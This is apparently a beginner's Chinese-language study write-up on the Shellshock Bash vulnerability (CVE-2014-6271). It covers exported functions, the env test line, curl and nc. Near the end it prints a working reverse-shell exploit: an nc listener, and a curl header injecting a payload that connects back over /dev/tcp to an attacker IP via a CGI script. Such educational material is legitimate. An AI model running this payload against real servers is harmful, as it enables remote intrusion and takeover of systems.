“破壳”是一个严重漏洞的别名,在Red Hat、CentOS、Ubuntu、Fedora、Amazon Linux、OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。
漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等
那么什么是bash呢?
bash(Bourne-Again SHell)是一个为GNU计划编写的Unix shell。bash是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。
来总结下我学习到的知识。
一.bash shell变量:
echo命令:
echo"shellshock"
定义个变量然后再echo:
wt7315="shellshock"
echo $wt7315
结果如下:
我们现在可以试试开一个bash子进程来看一下我们能不能得到变量的值:
wt7315="shellshock"
echo $wt7315
shellshock
bash
echo $wt7315
没有回显,我们不能够读出变量的值是因为我们开启了一个bash子进程,但变量中的值,仍存在父进程中。
bash环境变量:
当你开启一个shell会话时,一些变量已经准备好可供使用了,这些变量成为环境变量
当我们想在子进程中访问$gaba变量的话,我们可以使用export命令将变量变成环境变量。
如上图所示,子进程可以访问环境变量。
env | grep 'gaba'
二.bash函数与环境变量
建立一个名为x的函数,并将函数x存放在环境变量中,正如我预期的那样,在子shell中仍可执行名为x的函数。
在看了很多原理之后,bash漏洞形成的原理可算理解了,简单的就是说:BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!(书读百遍其义自见,原理我读了一百遍)
三.相关指令
顺便来了解下两个指令:
ENV指令:
ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了***进行PATH Hajaking的可能性
ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能
ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入
具体的env命令,可查看env的man手册和帮助。
这是我们的测试语句:
env x='() { :;}; echo shellshocked' bash -c "echo test"
如果出现 `vulnerable` 和`this a test`则说明系统存在bash漏洞。
bash -c 就是用来执行string-commands(命令字符串),不管后面的字符串里是什么都会被当做shellcode来执行。bash -c "echo this is a test"在执行的时候存在一个环境变量x,而x呢等于 () { :;}; echo vulnerable ,而环境变量在使用前都会被初始化,那么 () { :;}; echo vulnerable 就自然而然的被执行了。 () { :;}; 定义了一个函数(function)并且它什么也不做,而后的 echo vulnerable 被解析后得到了执行权。当特殊的字符串变成环境变量后,环境变量又解析成函数,新的Bash进程在启动后又解析了环境变量并可以执行命令。
curl:
是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。
他的参数很多,这里简单的举几个例子。
-G/--get 以get的方式来发送数据
-H/--header < line >自定义头信息传递给服务器
-i/--include 输出时包括protocol头信息
-K/--config 指定的配置文件读取
nc:
NetCat,它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。
nc [选项] 主机名称 通信端口
常用参数说明:
-l 使用监听模式,管控传入的资料。
-p 设置本地主机使用的通信端口。
v 显示指令执行过程。
-w 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
经过上面的测试,说明此debian存在bash漏洞,我使用了kai来利用此漏洞。
nc -lv -p 5555
另外在开个终端,输入curl–H 'x: () { :;}; /bin/bash–i >& /dev/tcp/***ip/5555 0>&1' http://受害ip/sgi-bin/status,(需要注意的是() { :;}之间有空格)对于sgi-bin/status,可以先使用扫描工具,扫出存在破壳漏洞并且在cgi-bin目录下有一个可执行脚本,可以看到我们利用破壳漏洞得到了反向shell进入受害机。
webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源
服务器提供了CGI脚本,当CGI script被webserver执行的时候,CGI Script会去调用Bash
***者可以通过开启了CGI的httpd服务器进行远程代码执行
然后我们就可以为所欲为的做你想做的事情了,我查看了当前所有的用户信息。
虽然利用了bash漏洞得到了权限,但是bash漏洞利用还是有条件的:
被***的bash存在漏洞
***者可以控制环境变量
新的bash进程被打开触发漏洞并执行命令
漏洞危害:
可以直接在Bash支持的Web CGI环境下远程执行任何命令。这也就使得一些路由器、堡垒机、×××等网络设备将会成为重灾区,另外各大Linux发行版和Mac OS X系统都受影响,甚至Android也会受到影响。
新手,多多包涵,欢迎各位一起交流学习!